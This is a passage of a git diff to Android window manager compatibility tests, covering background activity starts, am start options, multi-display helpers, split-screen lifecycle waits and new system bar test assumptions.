         mAmWmState.waitForHomeActivityVisible();
         runWithShellPermissionIdentity(() -> {
             runShellCommand("dpm remove-active-admin --user current "
@@ -137,6 +147,21 @@
     }
 
     @Test
+    public void testBackgroundActivityNotBlockedWhenSystemAlertWindowGranted() throws Exception {
+        // enable appopp for SAW for this test
+        AppOpsUtils.setOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window", MODE_ALLOWED);
+        assertEquals(AppOpsUtils.getOpMode(APP_A_PACKAGE_NAME, "android:system_alert_window"),
+                MODE_ALLOWED);
+
+        // Start AppA background activity successfully as the package has SAW
+        Intent intent = new Intent();
+        intent.setComponent(APP_A_START_ACTIVITY_RECEIVER);
+        mContext.sendBroadcast(intent);
+        boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
+        assertTrue("Not able to start foreground activity", result);
+    }
+
+    @Test
     public void testBackgroundActivityNotBlockedWhenForegroundActivityExists() throws Exception {
         // Start AppA foreground activity
         Intent intent = new Intent();
@@ -172,7 +197,6 @@
                 APP_A_FOREGROUND_ACTIVITY);
     }
 
-    @Ignore // test temporarily disabled due to bg activity start grace period introduction
     @Test
     public void testActivityNotBlockedwhenForegroundActivityLaunchInSameTask() throws Exception {
         // Start foreground activity, and foreground activity able to launch background activity
@@ -203,7 +227,6 @@
                 APP_A_FOREGROUND_ACTIVITY);
     }
 
-    @Ignore // test temporarily disabled due to bg activity start grace period introduction
     @Test
     public void testActivityNotBlockedWhenForegroundActivityLaunchInDifferentTask()
             throws Exception {
@@ -236,7 +259,6 @@
         assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
     }
 
-    @Ignore // test temporarily disabled due to bg activity start grace period introduction
     @Test
     @FlakyTest(bugId = 130800326)
     public void testActivityBlockedWhenForegroundActivityRestartsItself() throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index c83cb2e..839371f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -29,9 +29,7 @@
 
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.fail;
 
 import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
@@ -40,9 +38,6 @@
 
 import org.junit.Test;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 /**
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:AmStartOptionsTests
@@ -92,9 +87,10 @@
         // Start LaunchingActivity again and finish TestActivity
         final int flags =
                 FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_SINGLE_TOP;
-        final String result = executeShellCommand(
-                "am start -W -f " + flags + " -n " + getActivityName(LAUNCHING_ACTIVITY));
-        verifyShellOutput(result, LAUNCHING_ACTIVITY, false);
+        executeShellCommand("am start -W -f " + flags + " -n " + getActivityName(LAUNCHING_ACTIVITY)
+                + " --display " + DEFAULT_DISPLAY);
+        waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY,
+                "Activity must be launched.");
     }
 
     private void testDashW(final ComponentName entryActivity, final ComponentName actualActivity)
@@ -112,73 +108,16 @@
 
     private void startActivityAndVerifyResult(final ComponentName entryActivity,
             final ComponentName actualActivity, boolean shouldStart) {
-        // See TODO below
-        // final LogSeparator logSeparator = separateLogs();
+        mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
 
         // Pass in different data only when cold starting. This is to make the intent
         // different in subsequent warm/hot launches, so that the entrypoint alias
         // activity is always started, but the actual activity is not started again
         // because of the NEW_TASK and singleTask flags.
-        final String result = executeShellCommand(
-                "am start -n " + getActivityName(entryActivity) + " -W"
-                + (shouldStart ? " -d about:blank" : ""));
+        executeShellCommand("am start -n " + getActivityName(entryActivity) + " -W --display "
+                + DEFAULT_DISPLAY + (shouldStart ? " -d about:blank" : ""));
 
-        // Verify shell command return value
-        verifyShellOutput(result, actualActivity, shouldStart);
-
-        // TODO: Disable logcat check for now.
-        // Logcat of WM or AM tag could be lost (eg. chatty if earlier events generated
-        // too many lines), and make the test look flaky. We need to either use event
-        // log or swith to other mechanisms. Only verify shell output for now, it should
-        // still catch most failures.
-
-        // Verify adb logcat log
-        //verifyLogcat(actualActivity, shouldStart, logSeparator);
+        waitAndAssertTopResumedActivity(actualActivity, DEFAULT_DISPLAY,
+                "Activity must be launched");
     }
-
-    private static final Pattern sNotStartedWarningPattern = Pattern.compile(
-            "Warning: Activity not started(.*)");
-    private static final Pattern sStatusPattern = Pattern.compile(
-            "Status: (.*)");
-    private static final Pattern sActivityPattern = Pattern.compile(
-            "Activity: (.*)");
-    private static final String sStatusOk = "ok";
-
-    private void verifyShellOutput(
-            final String result, final ComponentName activity, boolean shouldStart) {
-        boolean warningFound = false;
-        String status = null;
-        String reportedActivity = null;
-
-        final String[] lines = result.split("\\n");
-        // Going from the end of logs to beginning in case if some other activity is started first.
-        for (int i = lines.length - 1; i >= 0; i--) {
-            final String line = lines[i].trim();
-            Matcher matcher = sNotStartedWarningPattern.matcher(line);
-            if (matcher.matches()) {
-                warningFound = true;
-                continue;
-            }
-            matcher = sStatusPattern.matcher(line);
-            if (matcher.matches()) {
-                status = matcher.group(1);
-                continue;
-            }
-            matcher = sActivityPattern.matcher(line);
-            if (matcher.matches()) {
-                reportedActivity = matcher.group(1);
-                continue;
-            }
-        }
-
-        assertEquals("Status is ok", sStatusOk, status);
-        assertEquals("Reported activity is " +  getActivityName(activity),
-                getActivityName(activity), reportedActivity);
-
-        if (shouldStart && warningFound) {
-            fail("Should start new activity but brought something to front.");
-        } else if (!shouldStart && !warningFound){
-            fail("Should bring existing activity to front but started new activity.");
-        }
-    }
-}
+}
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
index e128f47..d6489a8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java
@@ -410,6 +410,9 @@
     /**
      * Test that device orientation is restored when an activity that requests it is no longer
      * visible.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testAppOrientationRequestConfigClears() {
@@ -515,6 +518,9 @@
 
     /**
      * Test that device handles moving between two tasks with different orientations.
+     *
+     * TODO(b/139936670, b/112688380): This test case fails on some vendor devices which has
+     * rotation sensing optimization. So this is listed in cts-known-failures.xml.
      */
     @Test
     public void testTaskCloseRestoreFreeOrientation() {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
index 2fc2f1e..f51f0b6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayTests.java
@@ -73,7 +73,6 @@
     }
 
     @Test
-    @FlakyTest(bugId = 129521230)
     public void testNonDefaultDisplayResourcesConfiguration() throws Exception {
         final int smallDisplaySize = 1000;
         final int longDisplaySize = 1920;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
index 331716a..4eae8f1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/EnsureBarContrastTest.java
@@ -16,12 +16,18 @@
 
 package android.server.wm;
 
+import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_ENSURE_CONTRAST;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.EXTRA_LIGHT_BARS;
 import static android.server.wm.EnsureBarContrastTest.TestActivity.backgroundForBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredBars;
+import static android.server.wm.BarTestUtils.assumeHasColoredNavigationBar;
+import static android.server.wm.BarTestUtils.assumeHasColoredStatusBar;
+import static android.server.wm.BarTestUtils.isAssumptionViolated;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.content.Intent;
@@ -37,7 +43,6 @@
 import android.view.ViewGroup;
 import android.view.WindowInsets;
 
-import androidx.test.filters.FlakyTest;
 import androidx.test.rule.ActivityTestRule;
 
 import com.android.compatibility.common.util.PollingCheck;
@@ -45,6 +50,7 @@
 import org.hamcrest.CustomTypeSafeMatcher;
 import org.hamcrest.Description;
 import org.hamcrest.Matcher;
+import org.junit.AssumptionViolatedException;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ErrorCollector;
@@ -84,8 +90,13 @@
     }
 
     public void runTestEnsureContrast(boolean lightBars) {
+        assumeHasColoredBars();
         TestActivity activity = launchAndWait(mTestActivity, lightBars, true /* ensureContrast */);
         for (Bar bar : Bar.BARS) {
+            if (isAssumptionViolated(() -> bar.checkAssumptions(mTestActivity))) {
+                continue;
+            }
+
             Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
 
             if (getOnMainSync(() -> activity.barIsTapThrough(bar))) {
@@ -112,6 +123,10 @@
     }
 
     public void runTestDontEnsureContrast(boolean lightBars) {
+        assumeFalse(
+                "Skipping test: automotive may not have transparent background for the status bar",
+                getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                        FEATURE_AUTOMOTIVE));
         TestActivity activity = launchAndWait(mTestActivity, lightBars, false /* ensureContrast */);
         for (Bar bar : Bar.BARS) {
             Bitmap bitmap = getOnMainSync(() -> activity.screenshotBar(bar, mDumper));
@@ -307,6 +322,11 @@
                 r.bottom = r.top + getInset(insets);
                 return r;
             }
+
+            @Override
+            void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException {
+                assumeHasColoredStatusBar(rule);
+            }
         };
 
         static final Bar NAVIGATION = new Bar("Navigation") {
@@ -321,6 +341,11 @@
                 r.top = r.bottom - getInset(insets);
                 return r;
             }
+
+            @Override
+            void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException {
+                assumeHasColoredNavigationBar(rule);
+            }
         };
 
         static final Bar[] BARS = {STATUS, NAVIGATION};
@@ -334,5 +359,7 @@
         abstract int getInset(Insets insets);
 
         abstract Rect getLocation(Insets insets, Rect screen);
+
+        abstract void checkAssumptions(ActivityTestRule<?> rule) throws AssumptionViolatedException;
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
old mode 100644
new mode 100755
index fd8deb2..df087db
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayClientTests.java
@@ -62,7 +62,7 @@
 @Presubmit
 public class MultiDisplayClientTests extends MultiDisplayTestBase {
 
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5); // 5 seconds
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
     private static final String EXTRA_SHOW_IME = "show_ime";
 
     @Before
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
index 32a20ae8..ef78bc7b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java
@@ -74,6 +74,7 @@
 import java.util.Collections;
 import java.util.List;
 import java.util.function.Consumer;
+import java.util.function.Predicate;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -244,6 +245,18 @@
         tapOnDisplay(bounds.centerX(), bounds.centerY(), displayId);
     }
 
+    private void waitForDisplayGone(Predicate<WindowManagerState.Display> displayPredicate) {
+        for (int retry = 1; retry <= 5; retry++) {
+            mAmWmState.computeState(true);
+            if (!mAmWmState.getWmState().getDisplays().stream().anyMatch(displayPredicate::test)) {
+                return;
+            }
+            logAlways("Waiting for hosted displays destruction... retry=" + retry);
+            SystemClock.sleep(500);
+        }
+        fail("Waiting for hosted displays destruction failed.");
+    }
+
     /**
      * This class should only be used when you need to test virtual display created by a
      * non-privileged app.
@@ -360,19 +373,13 @@
          * @return {@link ActivityDisplay} of newly created display.
          */
         private List<ActivityDisplay> simulateDisplay() throws Exception {
-            final List<ActivityDisplay> originalDs = getDisplaysStates();
-
             // Create virtual display with custom density dpi and specified size.
             mOverlayDisplayDeviceSession.set(mSimulationDisplaySize + "/" + mDensityDpi);
-            final List<ActivityDisplay> newDisplays = assertAndGetNewDisplays(1, originalDs);
-
             if (mShowSystemDecorations) {
-                for (ActivityDisplay display : newDisplays) {
-                    mOverlayDisplayDeviceSession.addAndConfigDisplayState(display,
-                            true /* requestShowSysDecors */, true /* requestShowIme */);
-                }
+                mOverlayDisplayDeviceSession.configureDisplays(
+                        true /* requestShowSysDecors */, true /* requestShowIme */);
             }
-            return newDisplays;
+            return mOverlayDisplayDeviceSession.getCreatedDisplays();
         }
 
         /**
@@ -448,55 +455,9 @@
                     + " -f 0x20000000"
                     + " --es " + KEY_COMMAND + " " + COMMAND_DESTROY_DISPLAY;
             executeShellCommand(destroyVirtualDisplayCommand);
-            waitForDisplaysDestroyed();
-        }
-
-        private void waitForDisplaysDestroyed() {
-            for (int retry = 1; retry <= 5; retry++) {
-                if (!isHostedVirtualDisplayPresent()) {
-                    return;
-                }
-                logAlways("Waiting for hosted displays destruction... retry=" + retry);
-                SystemClock.sleep(500);
-            }
-            fail("Waiting for hosted displays destruction failed.");
-        }
-
-        private boolean isHostedVirtualDisplayPresent() {
-            mAmWmState.computeState(true);
-            return mAmWmState.getWmState().getDisplays().stream().anyMatch(
+            waitForDisplayGone(
                     d -> d.getName() != null && d.getName().contains(VIRTUAL_DISPLAY_PREFIX));
         }
-
-        /**
-         * Wait for desired number of displays to be created and get their properties.
-         * @param newDisplayCount expected display count, -1 if display should not be created.
-         * @param originalDS display states before creation of new display(s).
-         * @return list of new displays, empty list if no new display is created.
-         */
-        private List<ActivityDisplay> assertAndGetNewDisplays(int newDisplayCount,
-                List<ActivityDisplay> originalDS) {
-            final int originalDisplayCount = originalDS.size();
-
-            // Wait for the display(s) to be created and get configurations.
-            final List<ActivityDisplay> ds = getDisplayStateAfterChange(
-                    originalDisplayCount + newDisplayCount);
-            if (newDisplayCount != -1) {
-                assertEquals("New virtual display(s) must be created",
-                        originalDisplayCount + newDisplayCount, ds.size());
-            } else {
-                assertEquals("New virtual display must not be created",
-                        originalDisplayCount, ds.size());
-                return Collections.emptyList();
-            }
-
-            // Find the newly added display(s).
-            final List<ActivityDisplay> newDisplays = findNewDisplayStates(originalDS, ds);
-            assertThat("New virtual display must be created",
-                    newDisplays, hasSize(newDisplayCount));
-
-            return newDisplays;
-        }
     }
 
     // TODO(b/112837428): Merge into VirtualDisplaySession when all usages are migrated.
@@ -538,7 +499,10 @@
     }
 
     /** Helper class to save, set, and restore overlay_display_devices preference. */
-    private static class OverlayDisplayDevicesSession extends SettingsSession<String> {
+    private class OverlayDisplayDevicesSession extends SettingsSession<String> {
+        /** The displays which are created by this session. */
+        private final List<ActivityDisplay> mDisplays = new ArrayList<>();
+        /** The configured displays that need to be restored when this session is closed. */
         private final List<OverlayDisplayState> mDisplayStates = new ArrayList<>();
         private final WindowManager mWm;
 
@@ -549,23 +513,38 @@
             mWm = context.getSystemService(WindowManager.class);
         }
 
-        void addAndConfigDisplayState(ActivityDisplay display, boolean requestShowSysDecors,
-                boolean requestShowIme) {
+        List<ActivityDisplay> getCreatedDisplays() {
+            return new ArrayList<>(mDisplays);
+        }
+
+        @Override
+        public void set(String value) {
+            final List<ActivityDisplay> originalDisplays = getDisplaysStates();
+            super.set(value);
+            final int newDisplayCount = 1 + (int) value.chars().filter(ch -> ch == ';').count();
+            mDisplays.addAll(assertAndGetNewDisplays(newDisplayCount, originalDisplays));
+        }
+
+        void configureDisplays(boolean requestShowSysDecors, boolean requestShowIme) {
             SystemUtil.runWithShellPermissionIdentity(() -> {
-                final boolean showSystemDecors = mWm.shouldShowSystemDecors(display.mId);
-                final boolean showIme = mWm.shouldShowIme(display.mId);
-                mDisplayStates.add(new OverlayDisplayState(display.mId, showSystemDecors, showIme));
-                if (requestShowSysDecors != showSystemDecors) {
-                    mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
-                    TestUtils.waitUntil("Waiting for display show system decors",
-                            5 /* timeoutSecond */,
-                            () -> mWm.shouldShowSystemDecors(display.mId) == requestShowSysDecors);
-                }
-                if (requestShowIme != showIme) {
-                    mWm.setShouldShowIme(display.mId, requestShowIme);
-                    TestUtils.waitUntil("Waiting for display show Ime",
-                            5 /* timeoutSecond */,
-                            () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+                for (ActivityDisplay display : mDisplays) {
+                    final boolean showSystemDecors = mWm.shouldShowSystemDecors(display.mId);
+                    final boolean showIme = mWm.shouldShowIme(display.mId);
+                    mDisplayStates.add(new OverlayDisplayState(
+                            display.mId, showSystemDecors, showIme));
+                    if (requestShowSysDecors != showSystemDecors) {
+                        mWm.setShouldShowSystemDecors(display.mId, requestShowSysDecors);
+                        TestUtils.waitUntil("Waiting for display show system decors",
+                                5 /* timeoutSecond */,
+                                () -> mWm.shouldShowSystemDecors(
+                                        display.mId) == requestShowSysDecors);
+                    }
+                    if (requestShowIme != showIme) {
+                        mWm.setShouldShowIme(display.mId, requestShowIme);
+                        TestUtils.waitUntil("Waiting for display show Ime",
+                                5 /* timeoutSecond */,
+                                () -> mWm.shouldShowIme(display.mId) == requestShowIme);
+                    }
                 }
             });
         }
@@ -587,6 +566,8 @@
             // Need to restore display state before display is destroyed.
             restoreDisplayStates();
             super.close();
+            waitForDisplayGone(display -> mDisplays.stream()
+                    .anyMatch(state -> state.mId == display.getDisplayId()));
         }
 
         private class OverlayDisplayState {
@@ -632,6 +613,36 @@
         return true;
     }
 
+    /**
+     * Wait for desired number of displays to be created and get their properties.
+     *
+     * @param newDisplayCount expected display count, -1 if display should not be created.
+     * @param originalDisplays display states before creation of new display(s).
+     * @return list of new displays, empty list if no new display is created.
+     */
+    private List<ActivityDisplay> assertAndGetNewDisplays(int newDisplayCount,
+            List<ActivityDisplay> originalDisplays) {
+        final int originalDisplayCount = originalDisplays.size();
+
+        // Wait for the display(s) to be created and get configurations.
+        final List<ActivityDisplay> ds = getDisplayStateAfterChange(
+                originalDisplayCount + newDisplayCount);
+        if (newDisplayCount != -1) {
+            assertEquals("New virtual display(s) must be created",
+                    originalDisplayCount + newDisplayCount, ds.size());
+        } else {
+            assertEquals("New virtual display must not be created",
+                    originalDisplayCount, ds.size());
+            return Collections.emptyList();
+        }
+
+        // Find the newly added display(s).
+        final List<ActivityDisplay> newDisplays = findNewDisplayStates(originalDisplays, ds);
+        assertThat("New virtual display must be created", newDisplays, hasSize(newDisplayCount));
+
+        return newDisplays;
+    }
+
     /** Checks if the device supports multi-display. */
     protected boolean supportsMultiDisplay() {
         return hasDeviceFeature(FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS);
@@ -714,27 +725,10 @@
                 mExternalDisplayHelper.releaseDisplay();
                 mExternalDisplayHelper = null;
 
-                waitForHostedDisplayDestroyed();
+                waitForDisplayGone(d -> d.getDisplayId() == mDisplayId);
                 mDisplayId = INVALID_DISPLAY;
             }
         }
-
-        private void waitForHostedDisplayDestroyed() {
-            for (int retry = 1; retry <= 5; retry++) {
-                if (!isHostedVirtualDisplayPresent()) {
-                    return;
-                }
-                logAlways("Waiting for hosted displays destruction... retry=" + retry);
-                SystemClock.sleep(500);
-            }
-            fail("Waiting for hosted displays destruction failed.");
-        }
-
-        private boolean isHostedVirtualDisplayPresent() {
-            mAmWmState.computeState(true);
-            return mAmWmState.getWmState().getDisplays().stream().anyMatch(
-                    d -> d.getDisplayId() == mDisplayId);
-        }
     }
 
     public static class PrimaryDisplayStateSession implements AutoCloseable {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 4531584..2dfd254 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -512,7 +512,11 @@
 
     @Test
     public void testDockedStackToMinimizeWhenUnlocked() throws Exception {
-        launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        if (!mIsHomeRecentsComponent) {
+            launchActivityInDockStackAndMinimize(TEST_ACTIVITY);
+        } else {
+            launchActivityInSplitScreenWithRecents(TEST_ACTIVITY);
+        }
         mAmWmState.computeState(TEST_ACTIVITY);
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice()
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 9a6d134..a361011 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -231,6 +231,7 @@
      * - The window which lost top-focus can be notified about pointer-capture lost.
      */
     @Test
+    @FlakyTest(bugId = 135574991)
     public void testPointerCapture() throws InterruptedException {
         final PrimaryActivity primaryActivity = startActivity(PrimaryActivity.class,
                 DEFAULT_DISPLAY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 908dc09..64e34fb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -208,7 +208,6 @@
         // Start side activity so callbackTrackingActivity won't be paused due to minimized dock.
         moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
             true/* showSideActivity */);
-        waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
         getLifecycleLog().clear();
 
         // Launch second activity
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 8601d35..f7337e9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -659,7 +659,9 @@
      * Moves the device into split-screen with the specified task into the primary stack.
      * @param taskId             The id of the task to move into the primary stack.
      * @param showSideActivity   Whether to show the Recents activity (or a placeholder activity in
-     *                           place of the Recents activity if home is the recents component)
+     *                           place of the Recents activity if home is the recents component).
+     *                           If {@code true} it will also wait for activity in the primary
+     *                           split-screen stack to be resumed.
      */
     public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
         final boolean isHomeRecentsComponent = mAmWmState.getAmState().isHomeRecentsComponent();
@@ -670,11 +672,29 @@
                     null /* initialBounds */, showSideActivity && !isHomeRecentsComponent);
             mAmWmState.waitForRecentsActivityVisible();
 
-            if (isHomeRecentsComponent && showSideActivity) {
-                // Launch Placeholder Side Activity
-                final Activity sideActivity = mSideActivityRule.launchActivity(
-                        new Intent());
-                mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+            if (showSideActivity) {
+                if (isHomeRecentsComponent) {
+                    // Launch Placeholder Side Activity
+                    final Activity sideActivity = mSideActivityRule.launchActivity(
+                            new Intent());
+                    mAmWmState.waitForActivityState(sideActivity.getComponentName(), STATE_RESUMED);
+                }
+
+                // There are two cases when showSideActivity == true:
+                // Case 1: it's 3rd-party launcher and it should show recents, so the primary split
+                // screen won't enter minimized dock, but the activity on primary split screen
+                // should be relaunched.
+                // Case 2: It's not 3rd-party launcher but we launched side activity on secondary
+                // split screen, the activity on primary split screen should enter then leave
+                // minimized dock.
+                // In both cases, we shall wait for the state of the activity on primary split
+                // screen to resumed, so the LifecycleLog won't affect the following tests.
+                mAmWmState.waitForWithAmState(state -> {
+                    final ActivityManagerState.ActivityStack stack =
+                            state.getStandardStackByWindowingMode(
+                                    WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+                    return stack != null && stack.getResumedActivity() != null;
+                }, "activity in the primary split-screen stack must be resumed");
             }
         });
     }
@@ -929,7 +949,10 @@
                 "doze_always_on",
                 "doze_pulse_on_pick_up",
                 "doze_pulse_on_long_press",
-                "doze_pulse_on_double_tap"
+                "doze_pulse_on_double_tap",
+                "doze_wake_screen_gesture",
+                "doze_wake_display_gesture",
+                "doze_tap_gesture"
         };
 
         private String get(String key) {
@@ -1083,6 +1106,9 @@
         }
 
         LockScreenSession unlockDevice() {
+            // Make sure the unlock button event is send to the default display.
+            tapOnDisplay(10, 10, DEFAULT_DISPLAY);
+
             pressUnlockButton();
             return this;
         }
@@ -1668,20 +1694,28 @@
     static class ActivityLifecycleCounts {
         final int[] mCounts = new int[ActivityCallback.SIZE];
         final int[] mLastIndexes = new int[ActivityCallback.SIZE];
-        final List<ActivityCallback> mCallbackHistory;
+        private ComponentName mActivityName;
 
         ActivityLifecycleCounts(ComponentName componentName) {
-            this(TestJournalContainer.get(componentName).callbacks);
+            mActivityName = componentName;
+            updateCount(TestJournalContainer.get(componentName).callbacks);
         }
 
         ActivityLifecycleCounts(List<ActivityCallback> callbacks) {
-            mCallbackHistory = callbacks;
-            for (int i = 0; i < callbacks.size(); i++) {
-                final ActivityCallback callback = callbacks.get(i);
-                final int ordinal = callback.ordinal();
-                mCounts[ordinal]++;
-                mLastIndexes[ordinal] = i;
-            }
+            updateCount(callbacks);
+        }
+
+        private void updateCount(List<ActivityCallback> callbacks) {
+            // The callback list could be from the reference of TestJournal. If we are counting for
+            // retrying, there may be new data added to the list from other threads.
+            TestJournalContainer.withThreadSafeAccess(() -> {
+                for (int i = 0; i < callbacks.size(); i++) {
+                    final ActivityCallback callback = callbacks.get(i);
+                    final int ordinal = callback.ordinal();
+                    mCounts[ordinal]++;
+                    mLastIndexes[ordinal] = i;
+                }
+            });
         }
 
         int getCount(ActivityCallback callback) {
@@ -1694,9 +1728,16 @@
 
         @SafeVarargs
         final void assertCountWithRetry(String message, CountSpec<ActivityCallback>... countSpecs) {
+            if (mActivityName == null) {
+                throw new IllegalStateException(
+                        "It is meaningless to retry without specified activity");
+            }
             new RetryValidator() {
                 @Override
                 protected String validate() {
+                    Arrays.fill(mCounts, 0);
+                    Arrays.fill(mLastIndexes, 0);
+                    updateCount(TestJournalContainer.get(mActivityName).callbacks);
                     return validateCount(countSpecs);
                 }
             }.assertValidator(message);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
new file mode 100644
index 0000000..2d524df
--- /dev/null
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Configuration;
+import android.util.Log;
+import android.view.WindowInsets;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import org.junit.AssumptionViolatedException;
+
+/**
+ * Common assumptions for system bar tests.
+ *
+ * TODO: Unify with copy in systemui tests.
+ */
+public final class BarTestUtils {
+
+    private BarTestUtils() {
+    }
+
+    public static void assumeHasColoredStatusBar(ActivityTestRule<?> rule) {
+        assumeHasColoredBars();
+
+        assumeFalse("No status bar when running in VR", isRunningInVr());
+
+        assumeTrue("Top stable inset is non-positive, no status bar.",
+                getInsets(rule).getStableInsetTop() > 0);
+    }
+
+    public static void assumeHasColoredNavigationBar(ActivityTestRule<?> rule) {
+        assumeHasColoredBars();
+
+        assumeTrue("Bottom stable inset is non-positive, no navigation bar",
+                getInsets(rule).getStableInsetBottom() > 0);
+    }
+
+    public static void assumeHasColoredBars() {
+        final PackageManager pm = getInstrumentation().getContext().getPackageManager();
+
+        assumeFalse("Embedded devices don't have system bars",
+                getInstrumentation().getContext().getPackageManager().hasSystemFeature(
+                        PackageManager.FEATURE_EMBEDDED));
+
+        assumeFalse("No bars on watches and TVs", pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
